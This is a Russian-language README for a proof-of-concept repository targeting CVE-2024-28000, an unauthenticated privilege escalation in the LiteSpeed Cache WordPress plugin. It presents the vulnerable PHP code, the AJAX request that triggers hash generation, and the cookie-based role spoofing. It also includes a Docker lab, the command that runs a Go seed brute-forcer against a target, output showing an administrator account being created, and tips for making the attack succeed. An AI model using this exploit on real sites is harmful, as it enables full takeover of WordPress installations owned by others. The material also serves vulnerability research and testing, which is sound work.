
CVE-2024-28000 — Updated!
Практическая лаборатория по эксплуатации CVE-2024-28000 — повышение привилегий без аутентификации в LiteSpeed Cache (плагин WordPress, <=6.3.0.1). Разворачивает уязвимую среду с помощью Docker и включает брутфорсер на Go, который взламывает слабый хеш mt_rand для создания учётной записи администратора.
CVE-2024-28000 — PoC повышения привилегий в LiteSpeed Cache
[!WARNING] Этот репозиторий предназначен исключительно для образовательных и исследовательских целей.
- Используйте предоставленный PoC только на системах, которыми вы владеете, или на тех, на тестирование которых у вас есть явное разрешение.
- Несанкционированный доступ, эксплуатация или неправомерное использование любых материалов из этого репозитория противозаконны.
- Автор(ы) не несут никакой ответственности за любой ущерб, неправомерное использование или юридические последствия, возникшие в результате ненадлежащего использования.
Обзор
CVE-2024-28000 — это критическая уязвимость повышения привилегий без аутентификации, затрагивающая плагин LiteSpeed Cache для WordPress. Уязвимость возникает из-за слабой хеш-аутентификации в функции имитации ролей краулера плагина, что позволяет полностью неаутентифицированному злоумышленнику выдать себя за администратора WordPress и получить полный контроль над сайтом.
Как работает уязвимость
Плагин LiteSpeed Cache включает краулер, который прогревает кеш сайта, посещая страницы от имени разных ролей пользователей. Для аутентификации краулера плагин генерирует короткий хеш и сохраняет его в таблице опций WordPress. Любой запрос, предъявляющий этот хеш в cookie, получает роль пользователя, указанную во втором cookie.
Три ошибки проектирования в совокупности делают это эксплуатируемым:
Ошибка 1 — Триггер хеша без аутентификации
AJAX-действие, генерирующее хеш, зарегистрировано для неаутентифицированных пользователей без проверки прав или nonce:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
Злоумышленник запускает это, отправляя:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
Ошибка 2 — Предсказуемый хеш (пространство seed всего 1 000 000)
Хеш генерируется с помощью PHP-функции mt_rand(), инициализированной микросекундной составляющей текущего времени:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() возвращает только дробную часть секунды (например, 0.523847). Умноженная на 1 000 000, она даёт seed в диапазоне от 0 до 999 999 — независимо от времени суток. Злоумышленник, который сам запускает генерацию хеша, знает приблизительное время генерации и может перебрать все 1 миллион seed за считанные минуты.
Ошибка 3 — Отсутствие ограничения скорости при проверке
Плагин проверяет хеш при каждом запросе простым сравнением строк без блокировки или ограничения скорости:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
Полная схема атаки
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise
Настройка лаборатории
Требования
- Docker
- Go 1.21+
Установка
# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
Дождитесь появления:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
Использование
Запуск эксплойта
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
Ожидаемый вывод
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] У хеша нет срока действия, но он может быть перегенерирован встроенным краулером LiteSpeed.
- Если краулер активен (интервал по умолчанию: каждые 10 минут), хеш, хранящийся в базе данных, будет автоматически заменён — это приведёт к сбою перебора, поскольку он проверяет seed для старого хеша.
- Если краулер отключён, хеш сохраняется бессрочно, и количество потоков влияет только на скорость, но не на успех.
- Чтобы максимизировать вероятность успеха: запустите генерацию хеша и запустите эксплойт немедленно, с максимальным количеством потоков, которое может выдержать цель.
- Признаки того, что хеш был заменён во время атаки: все 1 000 000 seed исчерпаны без результата, несмотря на то, что проверка работоспособности прошла при запуске.